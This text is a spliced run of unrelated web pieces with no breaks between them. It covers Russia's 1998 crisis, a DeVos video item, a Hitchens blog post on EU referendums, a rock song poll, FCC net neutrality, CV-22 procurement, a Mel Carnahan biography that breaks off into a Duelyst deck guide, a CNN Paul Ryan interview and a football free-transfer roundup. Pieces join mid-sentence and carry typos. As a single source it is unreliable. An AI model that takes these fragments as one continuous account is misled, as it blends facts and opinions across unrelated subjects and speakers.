Primakov's appointment restored political stability because he was seen as a compromise candidate able to heal the rifts between Russia's quarreling interest groups. There was popular enthusiasm for Primakov as well. Primakov promised to make the payment of wages and pensions his government’s first priority and invited members of the leading parliamentary factions into his Cabinet.
Communists and the Federation of Independent Trade Unions of Russia staged a nationwide strike on 7 October 1998 and called on President Yeltsin to resign. On 9 October 1998, Russia, which was also suffering from a poor harvest, appealed for international humanitarian aid, including food.
Recovery [ edit ]
Russia bounced back from the August 1998 financial crash with surprising speed. Much of the reason for the recovery is that world oil prices rapidly rose during 1999–2000 (just as falling energy prices on the world market helped to deepen Russia's financial troubles), so that Russia ran a large trade surplus in 1999 and 2000. Another reason is that domestic industries, such as food processing, had benefited from the devaluation, which caused a steep increase in the prices of imported goods.[12][13]
Also, since Russia's economy was operating to such a large extent on barter and other non-monetary instruments of exchange, the financial collapse had far less of an impact on many producers than it would had the economy been dependent on a banking system. Finally, the economy had been helped by an infusion of cash. As enterprises were able to pay off debts in back wages and taxes, in turn consumer demand for goods and services produced by the Russian industry began to rise.
Positive effect [ edit ]
The crisis was praised by James Cook, the senior vice president of The U.S. Russia Investment Fund, on the basis that it taught Russian bankers to diversify their assets.[14]
See also [ edit ]
Contemporaneous financial crises:
General:
References [ edit ]College students claimed to oppose Secretary of Education Betsy DeVos, but when asked about her school choice policy — without knowing it was hers — they supported it.
WATCH:
“I think she’s grossly unqualified,” and, “I wonder what Betsy DeVos is up to? Probably destroying the education system of America, I think that’s what’s going on,” were just some of the comments obtained by Hypeline News during a man-on-the-street segment.
The students approached believed that Vermont Sen. Bernie Sanders would have appointed a better education secretary, but when Hypeline News introduced DeVos’s school choice policy without identifying its originator, students thought it sounded like a good idea.
“When it comes to Secretary DeVos, many people are simply ignorant on what she wants for low-income students,” said Julio Rosas, Senior Campus Correspondent for Hypeline News. “This video shows how people agree with her when it comes to school choice.”
(DAILY CALLER)
Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected].The Tory promise of a referendum has been doubly painful for me. First of all I had to explain that it was never meant to be delivered, and was only made on the (reasonable) assumption that it would form part of the negotiations for a second coalition, or similar arrangement, probably with the Liberal Democrats, and be dropped, with feigned squawks of reluctance.
The very risky nature of the Tory manifesto, full of pledges made in the belief that they would never be redeemed, seems to me to be absolute proof that Mr Cameron and his lieutenants believed (as I did) that an outright victory was impossible. I don’t think they wanted to win, as victory deprives them of a useful double alibi. It would be an excuse, first for not doing things they say they what to do but secretly don’t want to do; and second, for doing things they say they don’t want to do, but secretly do want to do. The biggest broken promise, as Tim Montgomerie rightly pointed out on Radio 4’s ‘Any Questions’ last Friday, will be the unattainable pledges to pursue deep and rapid spending cuts. The Lib Dems would have provided the obvious excuse for watering them down. Now they’ll have to think of another way.
But while I was bogged down in this, I had to neglect the profounder point, that a referendum is not desirable anyway.
Plebiscites are a weapon of the state against the people in almost all cases. If elites think they will lose them, they either do not hold them, or (if they are only weak and incompetent elites) they arrange to have them re-run to come up with the desired result.
It is quite funny to note that there is ( so far as I know ) no instance of a referendum which has had the ‘right’ result (i.e. that desired by the elite) being re-run. There are many instances on the Continent and in Ireland of referenda which have had the ‘wrong’ result (i.e. one unwelcome to the elite) being re-run. Sometimes this is achieved by asking what is essentially the same question, but in a different guise, thus the EU Constitution is re-badged as ‘the Lisbon Treaty’, amounting to more or less the same thing. And it is then ratified in these countries which previously rejected it.
The exceptions to the general rule that referenda are not to be trusted (mainly to be found in Switzerland) are: where the initiative for them comes from below; where the government plays no part in timing them or drafting the question; where the campaigns are protected by unalterable law from gross unfairness.
Apart from the vote on ballot reform, which I suspect went unnoticed by millions of electors, the one instance of a referendum in the entire United Kingdom was that of 1975, in which I was a very interested observer, having been given the job of covering many of the main meetings on both sides in the town where I then worked for an evening paper. I am pretty certain that I became so engaged that I attended some of the meetings simply for the joy of observing a real live national controversy, the last one this country ever experienced.
Until the last hour, I was entirely taken in by the ‘Yes’ campaign, which appealed to the lingering Utopian in me (a part of myself then still thriving, as I had recently abandoned Marxism-Leninism, but which I think and hope has long since shrivelled and died, like an exhausted verruca). I remember especially being charmed and carried away by an idealistic internationalist oration by Uwe Kitzinger, wearing his piratical eye-patch; and of being appalled by a sub-Churchillian anti-Brussels tub-thumping performance (I think there was an actual tub. He certainly thumped something) by Peter Shore, who ended by growling ‘And damn the Common Market!’
On the morning of the vote I received at my scruffy bedsit home a very glossy leaflet containing lavish endorsements of the ‘Yes’ campaign by several local notables. One of them (her picture made this unambiguous) was a respected colleague of mine on the evening paper. But they had spelled her surname wrongly, very wrongly. I carried the leaflet into the office and showed her, expecting her to laugh at their incompetence. But instead she said ‘I never gave my permission for this ‘ and was quite cross.
As the urgent minutes scurried by towards our first edition deadline, I telephoned all the people on the list wearing out my finger in the dial of the old black instrument. I was on to something. Several others, likewise, had not given their permission. The response of the organisers was pathetic. I pounded furiously at my typewriter to get this rather important story to the sub-editors in time for the lunchtime paper. It was a friendly, small office and, if we were free, we reporters used to slip down into the machine room towards the end of the morning, to watch the lovely old presses begin to turn. I liked to see and hear them hammer up to full speed, enjoying the sight of the solid, saleable end of the process we had begun, perhaps days before, by lifting the phone or by some whispered conversation at the back of a meeting hall. In those days, it was nearly as thrilling as watching a steam locomotive slowly accelerate out of a station.
But that day I didn’t go. My story had been held out of the paper. A pale pink mist of fury and disappointment, purely the frustration of a reporter with a good story, still obscures in my memory of the precise events. I can’t recall the excuses offered, though the person offering them, normally receptive and reasonable, was known as an enthusiastic Liberal and Common Market enthusiast. I think the story was eventually printed the next day, when it had lost all its (pretty limited) power to damage the ‘Yes’ campaign. But I had one recourse. I stomped down to the polling station and voted ‘No’ to assuage my rage, thus being saved from doing a stupid thing without knowing it, more by instinct than by reason.
It didn’t make the slightest difference to the result, which had been a foregone conclusion anyway. At the start of the contest, opposition to our membership was strong, but a blatantly unfair campaign put paid to that. Membership, then as now, was a fait accompli and opponents had the immediate disadvantage of arguing for a ‘No’ vote, No major newspaper (then as now) favoured a British exit - and before wiseacres tell me that old ‘Daily Express’ (in those days a significant force with a daily sale higher than two million) was fervently opposed to the Market, it had indeed been so for many years but was swung round to favour it in plenty of time for the referendum.
Even the official pamphlets, distributed at taxpayers’ expense to all homes, were grossly biased. There was one for ‘Yes’. One for ‘No’, and then another one for ‘Yes’. This blatant departure from fairness was excused on the grounds that this was the opinion of the government. Actually, it wasn’t. Several Labour Cabinet Ministers, from both wings of the party, actively campaigned for a ‘No’ vote. Indeed, just as the repeatedly-offered Cameron referendum was mainly devised to cope with division in the Tory Party, the Wilson referendum was mainly designed to cope with disunity in the Labour Party. The Tory opposition was almost wholly united in favour of staying in, not least its leader, Mrs Margaret Thatcher, who was photographed wearing a fetching jumper embroidered with the flags of all the then Common Market members. Enoch Powell, the main Tory opponent of EU membership, had by then left his old party.
Business gave heavily to the ‘Yes’ campaign, which thus looked smooth and confident. The ‘No’ campaign, with its thin resources and often passionate but lonely advocates, looked amateur and defensive from the start.
Spending figures, and you must allow hugely for inflation here, were : ‘Yes’ campaign £1,850,000, ‘No’ campaign £133,000. But even without inflation, the *proportion* of ‘Yes’ money to ‘No’ money is astonishing. How could this be fair? Why wasn't there a ceiling? What is there to prevent it happening again? (I am indebted for these figures and other details to Christopher Booker and Richard North’s superb book ‘The Great Deception’ by a mile (1.609344 kilometres) the best account of the history of the EU and our relations with it.
The BBC’s role can be left to the imagination, though, as I wrote in the Mail on Sunday on 21st December 2008 :
‘WHAT a lot of fuss about Ed Stourton being dropped as a presenter of BBCRadio 4's Today programme. My sympathies to Mr Stourton, whose opinion of the BBC may now be closer to mine than it used to be, but I can't see any major significance in the substitution of one BBC standard-issue 'impartial' liberal for another.
'The non-row brings to mind the genuine scandal, still not properly explored, of the removal of the anti-Common Market presenter Jack de Manio from Today. A legendary BBC radio programme, called Document - A Letter To The Times, broadcast on February 3, 2000, records persuasively that the Corporation came under pressure from pro-Market lobbyists to sack Jack, and that he was soon after removed. Coincidence? You may believe that if you wish. I don't. The Labour peer Roy Hattersley creditably recalls his personal disgust when he attended a high-level pro-Market breakfast meeting at which similar actions against anti-Market broadcasters were openly demanded by pro-Brussels conspirators. I do hope the BBC repeats this amazing programme soon.’
They haven’t repeated it, and I never cease to be amazed that they transmitted it at all. I did hear it, long ago. A transcript of it can be accessed on the web, but only if you are prepared to pay.
Polls before the campaign showed a majority for departure. But the eventual result, on a 65% turnout was more or less two to one in favour of staying in – 67.2% to 32.8%.
I expect something very similar in Mr Cameron’s referendum. Indeed, if I were an EUphile, I would have for some time been an enthusiastic supporter of such a referendum. I can think of no more certain way of closing the issue forever. The route I would take, the steady accretion of power and support by a new political party committed to national independence, neither bigoted nor politically correct, free of the ghastly social and economic liberalism that all sensible people are rapidly coming to hate but which they now find everywhere in politics, I suppose there is an argument, once the thing has begun, for making the case for exit. But in such circumstances, what chance has my side? It has very few people in it who could be counted good TV performers or public speakers. Its arguments are often not very coherent. Its reliance on Thatcherite sentiment, and even its belief that a referendum was a goal worth chasing, demonstrates its ignorance of our own national history and of the forces at work.
Let me predict the course of events. The Tory Party leadership and its backers in business and elsewhere will, in the next few months, appear to merge themselves with ‘Eurosceptic’ opinion, reasonably accepting that British independence is practicable and may even be desirable, railing against EU ‘bureaucracy’ or some other vague characteristic.
Mr Cameron himself will strike increasingly nationalistic poses at gatherings of EU leaders, similar to his non-existent veto of December 2011 discussed here http://hitchensblog.mailonsunday.co.uk/2011/12/dont-forget-they-cheered-chamberlains-victory-too.html
And here
http://hitchensblog.mailonsunday.co.uk/2011/12/david-camerons-phoney-war-or-a-curse-in-disguise-.html
….or perhaps modelled on his bungled attempt to block the appointment of Jean-Claude Juncker, another content-free episode of triangulation based on the belief (why do the Tory strategists think this?) that we are all almost unbelievably stupid. His logic appeared to run : ‘If I have a public row with this very foreign-seeming foreigner, UKIP voters (who, unlike me, the great and broad-minded David Cameron, really don’t like foreigners) will think I am just like them’.
Then there will be negotiations at which we will be told the EU has abandoned some of its ‘red tape’ or diminished its demand for ever-closer union, or postponed some other power-grab. This will not be so, but when Mr Cameron, haggard and exhausted after night-long negotiations, emerges into the Brussels dawn to claim his triumph, the rest of the EU will keep quiet about the fact that there is no triumph, just as they kept quiet about the fact that he did not actually wield the veto in 2011. Winners don’t need to boast. They can let the losers vaunt themselves and brag, if it helps the real winners get their way.
And then all the Tories who have mingled for months with EU opponents, as if they were friends, will say ‘Mr Cameron, with charm and grit, has won a great and historic deal for Britain. Now we can in all conscience vote to stay in. So should you. Please join us’. This mingling is the real purpose of 'Euroscepticism', to gull and soothe genuine secessionists with what looks like friendship and agreement, the more powerfully to abandon and undermine them when the decisive moment arrives.
And precisely because they have feigned sympathy so well, and pretended to be in favour of leaving if the right conditions aren’t met, their defection will be all the more effective. And the nation will vote heavily to stay in, and the issue will be dead until the EU itself breaks up under its own strains, spitting us out into a pitiful loneliness we weren’t brave enough to choose when it might have been some use to us.
We have to get out of the EU through a Parliamentary majority, because that is the way we got in. Our entry into the then Common Market had been agreed by Parliament in 1972, quite properly under our constitution without a referendum, though otherwise dishonestly and immorally because those in favour did not admit the truth about what they proposed.
The paradox was that Parliament, acting as the sovereign body it then still was, extinguished its own sovereignty in a single division, in which the votes of Labour pro-marketeers saved Ted Heath from what would otherwise have been decisive defeat. This was yet another appearance of the cross-party liberal alliance, never tested openly at any general election (perhaps until now) which first transformed the country, and then became its permanent government. If you cannot defeat that alliance (now embracing the whole Tory Party) at the polls, you will never get anywhere.
Parliament ceased to be sovereign in this country the moment the European Communities Bill received Royal Assent. Its last truly sovereign act was to destroy itself, just as the Queen’s last truly sovereign act was to assent to her own abdication form her own sovereignty, and her eventual transformation into a mere citizen of the EU. Thus ‘England, which was wont to conquer others, hath now made shameful conquest of itself’. You really think a referendum will get us out of this?It was a tighter match, but Alter Bridge ’s “My Champion” emerged with its fourth straight Cage Match victory, besting Avenged Sevenfold’s “God Damn.” Now the stage is set for Alter Bridge to go for the Cage Match Hall of Fame, with one final competitor standing in their way.
And it’s one of the hottest bands going, as Stone Sour are ramping up to the release of their Hydrograd album with the rapidly rising rocker “Song #3” leading the way. This catchy track has rocketed up the rock radio charts over the last few weeks and is setting the table for what is one of the year’s most anticipated new albums.
How will it play out? That’s up to you! Listen to both Alter Bridge’s “My Champion” and Stone Sour’s “Song #3” in the players provided, then let us know which song you want to win by voting in the poll below.
(This Cage Match will run through June 12 at 2PM ET. Fans can vote once per hour! So come back and vote often to make sure your favorite song wins!)
Alter Bridge, “My Champion”
Stone Sour, “Song #3”
Rules of Cage Match:
Fans can vote once per hour for their favorite song. If a song remains the reigning champ for five straight Cage Matches, it is retired to the Loudwire Cage Match Hall of Fame. With so many great songs out there, we have to give other bands a chance!The Federal Communications Commission has begun a public inquiry (PDF) to get additional feedback on rules governing network neutrality, delaying a decision on how to regulate wireless providers' ability to curb activity on their networks. While the FCC's decision to hold additional hearings has frustrated net neutrality advocates, industry associations, such as CTIA, applauded the move.
The FCC announced Sept. 1 that it plans to postpone making a decision, possibly until November.
Net neutrality involves the FCC potentially limiting the ability of ISPs such as AT&T, Verizon and Comcast to restrict certain content and sites on their data networks.
"As the public Internet becomes a virtual 'Main Street' for e-commerce, delivery of video content and marketing to customers, there is a concern that network operators will use their position as ISPs to act as gatekeepers to control network-user access to Internet-based services, applications and content," analyst David Passmore wrote in an April 2 Gartner report.
Throughout the long public debate on net neutrality, the conversation has moved from a focus on preventing broadband providers from restricting lawful online content, applications and services to concentrating on transparency and eliminating discrimination, FCC Chairman Julius Genachowski said in a statement.
Genachowski noted that progress had been made on the issue, but the FCC wants additional feedback on how to handle specialized services and mobile broadband.
The FCC's inquiry into net neutrality has focused on four principles, namely consumers' ability to choose content; to choose applications and services; to use legal devices of their choice; and to pick providers in a competitive broadband market.
"The information received through this inquiry, along with the record developed to date, will help complete our efforts to establish an enforceable framework to preserve Internet freedom and openness," Genachowski wrote.
The CTIA wireless industry association was satisfied with the FCC's announcement that it would look into the mobile broadband side of the issue.
"We are happy the chairman and the commissioners realize that wireless is different," CTIA President Steve Largent said in a statement. "We will continue to work with them to explain why these rules are unnecessary and should not be applied to the wireless ecosystem."
Meanwhile, Matt Wood, associate director of Media Access Project, a nonprofit law firm and communications policy advocacy group, was unhappy with the FCC's move to seek feedback on whether wireless broadband and specialized services require different rules, rather than simply announcing a decision.
"The record demonstrates already that the same framework and openness principles should apply to all broadband access services, even if the rules differ on the basis of legitimate technological differences," Wood said in a statement. "The record also shows that the Commission must retain authority over specialized services."
On Aug. 9, Google and Verizon ignited a firestorm of public debate over a proposal to outlaw discrimination against applications, content and other traffic on the open Internet by wire-line operators.
And in April a federal appeals court ruled that the FCC could not rebuke Comcast for interfering with data transfers on BitTorrent, an open-source file-sharing application.
The FCC's net neutrality ruling could be delayed until after the November elections, according to The Wall Street Journal.US Air Force Special Operations could order more Bell-Boeing CV-22s if demand increases, AFSOC’s commander said this week.
Lt Gen Brad Webb says he is not aware of a purchase going forward, but says AFSOC is examining combat loss replacements for the CV-22.
He made his comments to reporters at the annual Air Force Association conference Wednesday.
AFSOC has previously expressed interest in purchasing more CV-22s while Boeing’s production line is still hot. For now, 51 CV-22s are scheduled to be delivered to AFSOC by the end of 2019. Outside the US, Israeli Prime Minister Benjamin Netanyahu intimated his interest earlier this summer in a vertical takeoff and landing capability.
Meanwhile, AFSOC is still participating in discussions about the air force’s combat search and rescue (CSAR) mission. AFSOC and Air Combat Command have previously battled over which should take control of CSAR, and AFSOC has proposed using CV-22s and Sikorsky HH-60 helicopters to satisfy the mission in the past.
Webb has commissioned papers within AFSOC to examine CSAR, which the command will present to ACC, he says.
The USAF is now executing a $9.8 billion combat rescue helicopter acquisition programme to replace the aging HH-60G aircraft with the new Sikorsky HH-60W. The new helicopter will include onboard defensive capabilities for an increased threat environment.
Webb says he agrees with USAF chief Gen David Goldfein, who expressed support for a mixed CSAR force. Webb also left unmanned aircraft as a possible option.
“It’s a family-of-systems approach,” Webb says. “Whereas an HH-60 is appropriate in some areas, I think CV-22 is appropriate in others. I think a ground forces vehicle may be appropriate in others.”Melvin Eugene Carnahan (February 11, 1934 – October 16, 2000) was an American lawyer and politician who served as the 51st Governor of Missouri from 1993 until his death in a plane crash in 2000. A Democrat, he was elected posthumously to the U.S. Senate; his widow held his seat for two years.
Early Life and Education [ edit ]
Carnahan was born in Birch Tree, Missouri, and grew up on a small farm near Ellsinore, Missouri, with his only sibling, Robert "Bob" Carnahan.[1] [2]He was the son of Kathel (Schupp) and A. S. J. Carnahan, the superintendent of Ellsinore schools who, in 1944, was elected to the United States House of Representatives, serving from 1945-1947 and 1949-1961.
Carnahan moved with his family to Washington, D.C. in 1945 and returned in 1949, the year he met his future wife Jean. There he graduated from Anacostia High School in 1952 and earned a Bachelor of Arts (B.A.) in Business Administration from George Washington University in 1954.[3] He married Jean Anne Carpenter that same year and also entered the United States Air Force during the Korean War and served as a special agent for the Office of Special Investigation rising to the rank of First Lie tenant. In 1956, he and his wife moved back to his home state of Missouri. He received a Juris Doctor (J.D.) from the University of Missouri School of Law in Columbia, Missouri, in 1959.
Political career [ edit ]
Carnahan as state treasurer in 1981
State Legislator [ edit ]
Carnahan's political career started in 1950 when he was elected to serve as a municipal judge in Rolla. Two years later he was elected as a member of the Missouri House of Representatives representing the Rolla area.[4] He remained in the Missouri house until 1966, winning the position of majority floor leader in his second term. In 1966, he lost an election for the state senate and started practicing law.[5]
State Treasurer [ edit ]
In 1980, Carnahan was elected Missouri State Treasurer. He served in that post from 1981 to 1985. In 1984 he was an unsuccessful candidate for Governor of Missouri, losing the Democratic primary election to then-Lieutenant Governor Kenneth Rothman, who lost the general election that year to state Attorney General John Ashcroft.[6]
Governor of Missouri [ edit ]
In 1988 he was elected Lieutenant Governor |
finishers: either you lock them down, run away, and rain down Flying and Rush minions from afar until they kick it, or you plant a Bloodletter with one or both of Scion’s Second Wish and Cosmic Flesh after they’ve spent their hand trying to deal with your endless line of Provokes. Cosmic Flesh on a Bloodletter they can’t remove is an especially sweet moment, because they really, really don’t want to attack into it, but clearing a 5/9 without hard removal is nigh unto impossible.
The difference between Board Control and a straight Value deck like the Lyonar one above is that the Value deck loses when the opponent brings heavy removal to the game, because it’s counting on getting lots of value from its minions, removing 2+ of the enemies’ minions with 1 of its own. The Board Control deck is actually counting on the enemy bringing removal, and deliberately baiting out that removal with Provokes so that it can freely rain hell down upon you.
You might assume that this means the Board Control deck loses to a minion-heavy, Tempo-oriented deck…and you’d be right! Decks that play high-tempo creatures that can remove your Provokes and live to keep coming are your worst nightmare. Nothing sucks more than to put down a perfectly-placed Primus Shieldmaster and watch your opponent respond with a Primus Fist on his Infiltrated Crystal Cloaker, killing your 4-mana minion for 2 mana and laying down a new threat for you to deal with at the same time.
Preferred General: Zirix Starstrider. Zirix’ Wind Shroud ability gives him the edge in a controlled situation, as he can wear his opponents and minions down from outside of their range by summoning Dervishes and using them to get free hits. If you stand one square away from a target in a straight line, and there are no other obstacles, any summoned Dervish will be able to hit that target — take full advantage!
Mulligans: Much like you expect, your first priority should be to obtain a turn-one play, preferably Rock Pulverizer, but really anything will do. After that, you’re looking for, in order of awesomeness, a Primus Shieldmaster, a Void Hunter, a Blaze Hound, or a Scion’s First Wish to play on your t1 minion. You also want to keep the following cards against the following factions:
Lyonar: Argeon is one of your worst nightmares; his high-tempo playstyle can really make short work of your efforts to pen him in. To counter, you’re going to want to stay well away and work hard to draw out his resources with your draw-minions, so keep Wind Shrike, Necroseer (only going 2 nd ), and above all else, Siphon Energy to negate his OP Zeal crap (mostly Silverguard Knight, but also Suntide Maiden and/or Windblade Adept) and/or to get away from an Ironcliffe Defender that’s ready to be Divine Bonded.
), and above all else, Siphon Energy to negate his OP Zeal crap (mostly Silverguard Knight, but also Suntide Maiden and/or Windblade Adept) and/or to get away from an Ironcliffe Defender that’s ready to be Divine Bonded. Songhai: Kaleos’ Blink is less annoying than you think, but it’s still annoying; you want an extra Provoke minion at your back if at all possible, so hunt for two. Past that, a Saberspine Tiger can often save you from a punishing (but not Inner Focused) Kaido Assassin and/or Gore Horn. If it’s Reva, look for a Wind Shrike, because you’re going to want something that can get across the board quickly to deal with her Ranged spawns.
Vetruvian: Your ideal starting hand will contain a Saberspine Tiger and a Scion’s First Wish, so that you can efficiently take out his opening Pyromancer or Obelysk without your kitty dying. Failing that, just remember that Vets have lots of ways of dealing 2 damage, but not that many ways of dealing 3 — so try to Replace your Void Hunters unless you have nothing better to do with the mana.
Abyssian: Against Lillithe, you want to open with a Rock Pulverizer if at all possible, and hold a Cosmic Flesh as well, for horde-clearing power. (This is especially good on a Wind Shrike or Young Flamewing as they can’t be dealt with using Daemonic Lure.) Against Cass, you’re gonna need math — use your buffs carefully to keep your minions away from the 1-HP mark so that you can minimize the damage her nasty Bloodborn Spell can do over the long game.
Magmar: You’re not going to be able to Board Control a decent Magmar; there’s just too much Rush/Frenzy going on. Fortunately, their early game is fairly weak — take advantage by swinging for the face right out of the gate with whatever early drop you have. Past that, look for Void Hunters and Blaze Hounds to throw up as a defensive wall while you drop Flyers outside of his Rush range, buff the crap out of them, and throw them at his face.
Vanar: You need to lure out Vanar’s signature removal (Chromatic Cold, Cryogenesis, and Hailstone Prison) before you invest too much in buffs. First Wish is fine because it replaces itself, but against Vanar you really want to land Rock Pulverizer and Primus Shieldmaster early so Mulligan for them, and pray that you can convince them to blow a Chromatic on Void Hunter. Once you’ve seen a few removals, you can start planting buffs, but try to avoid keeping Second Wish and Cosmic Flesh in your opening hand.
Early Game (Turns 1-3)
Don’t hesitate to put down a Primus Fist with no targets on turn 1 if it means you have something on the board. If not, in general, lead with your draw minions (Void Hunter, Blaze Hound), and buff them with First Wish if you have a spare mana. If you get the chance, drop Primus Shieldmaster in their face or Shrike/Dragon away from them., to be buffed and thrown into the mix next turn.
Midgame (Turns 4-6)
Use your Provokes (natural and Cosmic Fleshed) to hamper the enemy’s plans, and make ample use of your powerful Bloodborn Spell to help your Provokes finish off the minions they have locked down. Don’t buff your Wind Shrikes though, because they vanish at the end of the turn (again, First Wish is acceptable if it allows you to get a big advantage.)
Late Game (Turns 7+)
When you reach the 9-mana stage, you need to make an important decision: can you afford to leave your General close enough to the fight to take advantage of your 2-damage Bloodborn Spell every turn? Or do you have to back off a bit and use Provokes and Flying to keep them at bay but still taking damage? Ultimately, your goal is to land a Bloodletter with Cosmic Flesh or Scion’s Second Wish and get it up to their face to deliver their final punishment, but it’s often just as easy to win by putting Second Wish on a Young Dragon or Wind Shrike and fly it to whatever side of their General is away from most of their minions so it can beat face.
Swaps
The swaps you can make in this deck are largely ones that sacrifice a bit of the draw-heavy nature in order to keep up more strongly on the board.
Swap out Blaze Hounds for Sand Burrowers to gain a lot of value over time and keep an effect somewhat similar to draw.
Swap out the Void Hunters for Wings of Paradise for more scary Flying beatdown (that will also encourage you to Replace every turn, which is good.)
Swap out the Necroseers for Brightmoss Golems for some great, hard-to-kill board presence that can take powerful advantage of your Cosmic Flesh.
Swap out a single Blaze Hound for one more Siphon Energy if you need more Dispel to keep up with enemy buffs.
Upgrades
This deck’s upgrades slowly morph it away from focus on Flying and excessive drawing and toward an even more value-heavy approach.
2x Bloodletter –> 2x Dagger Kiri Wind Shrike –> Dancing Blades Blaze Hound –> Sojourner (excellent with Second Wish!) 2x Young Flamewing –> 2x Dominate Will 1x Primus Fist and 1x Scion’s Second Wish –> 2x Rasha’s Curse (Optionally, at this point, replace Void Hunter –> Dunecaster) Necroseer –> Golden Justicar or Sworn Defender (Note Golden Justicar + Cosmic Flesh!) Void Hunter/Dunecaster –> Spelljammer 2x Dagger Kiri –> 2x Aymara Healer (Yep, a 2nd upgrade.)
Once this long list of expensive upgrades is complete, you’ll have a killer late-game Vet on your hands that will be able to carry you easily to Diamond, possibly even S-Rank with practice and depending on the meta.
…And that’s all for now, guys! You can expect it to take me a couple more weeks of testing and writing-up to get pauper decks for the other three factions. Hopefully, by then, most of you will be past the Pauper stage and waiting anxiously for the Ultrabudget decks that are coming after that. 🙂 Until then, keep on Duelying!
AdvertisementsWashington (CNN) Paul Ryan and President-elect Donald Trump, at odds for much of the 2016 campaign, now speak "about every day," the House speaker said in a wide-ranging interview aired Sunday.
The Wisconsin Republican told interviewer Scott Pelley on the CBS's "60 Minutes" he often calls the incoming President on his cell phone to discuss the legislative agenda in 2017. That includes tackling health care and immigration, Ryan said.
A signature platform plan of Trump's has been repealing and replacing Obamacare immediately upon taking office in January. Ryan acknowledged that, as many health care experts are predicting, this may take a significant amount of time and a transition period will be necessary.
"We have to bring relief as fast as possible to people who are struggling under Obamacare," Ryan said. "We will give everyone access to affordable health care coverage."
Trump and Ryan didn't always work so closely together. The speaker during the primary season from time to time denounced Trump proposals, such as a ban on Muslim immigrants into the US. And Trump took his time endorsing Ryan against a Republican primary opponent.
Ryan went on to discuss Trump's changing positions on a key number of issues, most notably immigration policy.
Trump has gone from saying he plans to deport all 11 million illegal immigrants to focusing just on those who have committed crimes. He also originally said he aimed to build a wall the entire length of the US-Mexico border, but he has also pushed back on this as well.
"No, No, we're not working on a deportation force," Ryan told Pelley. He said that Trump plans to focus on "enforcing laws for people who came here illegally, who came and committed violent crimes."
A border wall may not be necessary everywhere, Ryan said.
"I think conditions on the ground determine what you need in a particular area. Some areas, you might need a wall. Some area, you might need double fencing."
Ryan also discussed the President-elect's frequent use of Twitter, including a series of eyebrow-raising comments about world affairs and even "Saturday Night Live" spoofs. Trump has also tweeted that he had actually won the popular vote, except for millions of people he falsely claimed voted illegally, backing Hillary Clinton.
Ryan tried to deflect the conversation from Trump's Twitter controversies.
"I have no way of backing that up. I have no knowledge of such things," Ryan said. "But I don't-- it doesn't matter to me. He won the election."The transfer window is officially open for business and for the dozens of players who fall into the 'unwanted' category, an uncertain summer lies ahead.
While lavish moves for stars like Cristiano Ronaldo, Gareth Bale, Edinson Cavani and Gonzalo Higuain may hog the headlines in the weeks and months ahead, spare a thought for those footballers who have effectively been made redundant by their employers.
Sharing condolences with some of the multi-millionaires on this summer's star-studded free transfer list may be a little challenging, but a fall from grace is made no easier when you are forced to take it in the full glare of the public spotlight.
So without wishing to rub salt into the wounds of those who find their careers at a crossroads, here is our guide to the footballers hoping someone else is willing to give them a lifeline after being let go by their previous employer.
Florent Malouda
Pros: A glut of trophies at Chelsea.
Cons: Question marks over his attitude in recent years.
Chelsea put the 2012 Champions League winner into hibernation when he refused to leave the club last summer and he saw out the final year of his contract playing with the reserves. Questions have been raised about the application and desire he showed to return to the first-team fold, which may not stand him in good stead as he seeks another employer.
Verdict: A move back to France may be his best option as many Premier League clubs will view the winger, who cost Chelsea £13 million in 2007, as damaged goods.
Kaka
Pros: 2007 World Player of the Year.
Cons: Has been out of form and injured for far too long.
The Brazilian is not on the free transfer list yet, but he is asking Real Madrid to let him leave for nothing in a bid to salvage his collapsing career. Are the Spanish giants ready to write off the €68.5 million they paid to sign him from AC Milan? It would be a gesture that suggests they believe the 31-year-old has no more to offer.
Verdict: Kaka's vast wage demands would rule most clubs out of the running for his signature. For that reason, he may be stuck at Real Madrid for another year at least.
Mark Schwarzer
Pros: A proven Premier League performer.
Cons: Nearing the end of his career at 40.
The Australian came close to a move to Arsenal a couple of years ago, but his star has taken a dive after Fulham opted to allow him to leave on a free transfer. He was on relatively big wages at Craven Cottage, but Sunderland could do worse than recruiting this veteran as they look to fill the void left by Simon Mignolet.
Verdict: Schwarzer still has something to offer as he looks ahead to next summer's World Cup finals with Australia and he is worth a one-year deal.
Mathieu Flamini
Pros: A couple of decent seasons at Arsenal.
Cons: Not classy enough for the top sides in Europe.
Flamini walked out on Arsenal after securing a more lucrative contract with AC Milan in 2008 but he failed to set the world alight in Italy and is up for grabs on a free now, after talks to extend his Milan stay stalled.
Verdict: Aston Villa have been linked with a move for Flamini and that shows how far his reputation has fallen. He was never a great player, but swapping Arsenal for Milan halted his rise, rather than accelerating it.
Roque Santa Cruz
Pros: A track record of playing at the top level.
Cons: Has looked ineffective in recent years.
Manchester City paid a whopping £17.5 million to sign the Paraguay striker in 2009, but he was one of the big flops of the Mark Hughes era at the club and they have been forced to write off that fee without any return on their investment this summer. He scored for Malaga in the Champions League last season, but would be a risky signing.
Verdict: His reputation in Spain is less tarnished than it is in England, so it may be that he finds a club in La Liga.
Nicolas Anelka
Pros: Goals aplenty in the Premier League.
Cons: A surly reputation, fading abilities.
The much-travelled Anelka is back on the look-out for new employers after ending his brief and unsuccessful stint with Juventus and it remains to be seen whether any Premier League club would take the striker. QPR wanted him in January, but will there be anyone willing to give him yet another signing-on fee?
Verdict: A move to his French homeland may be more profitable than trying to revive his Premier League career.
William Gallas
Pros: Experience with Arsenal and Chelsea.
Cons: A long way past his best.
Gallas was a liability in many of the games he played for Tottenham last season and those alarming displays will have done little to boost his hopes of securing a new contract elsewhere this summer. At his best, this Frenchman was a class act, but those days are well behind him.
Verdict: A side in need of top flight experience may view Gallas as a decent option, but the 35-year-old has indicated he is not up to the job at Premier League level any more.
Yossi Benayoun
Pros: Remains a classy footballer when at his best.
Cons: Has been in the comfort zone too long earning big money at Liverpool and Chelsea.
Following lucrative contracts at Liverpool and Chelsea, there have been suggestions that Benayoun would be heading to America's MLS for a bumper payday this summer. However, he has been offered another crack in the Premier League by West Brom boss Steve Clarke if he proves his fitness.
Verdict: A fit and firing Benayoun could be useful to West Brom, but it remains to be seen if he can hit the heights for a full season.
David Bentley
Pros: Not a great deal.
Cons: Lack of fitness, form and motivation.
Where to start with Bentley? Tottenham paid £15 million to sign the winger from Blackburn in 2008, amid rumours that he also demanded a high signing-on fee. He has not played for Spurs for the last two years and did little in a loan spell at Blackburn to suggest he is worth a fresh chance elsewhere.
Verdict: Bentley seems less than motivated to kick start his career and it will need a brave manager to take him on.
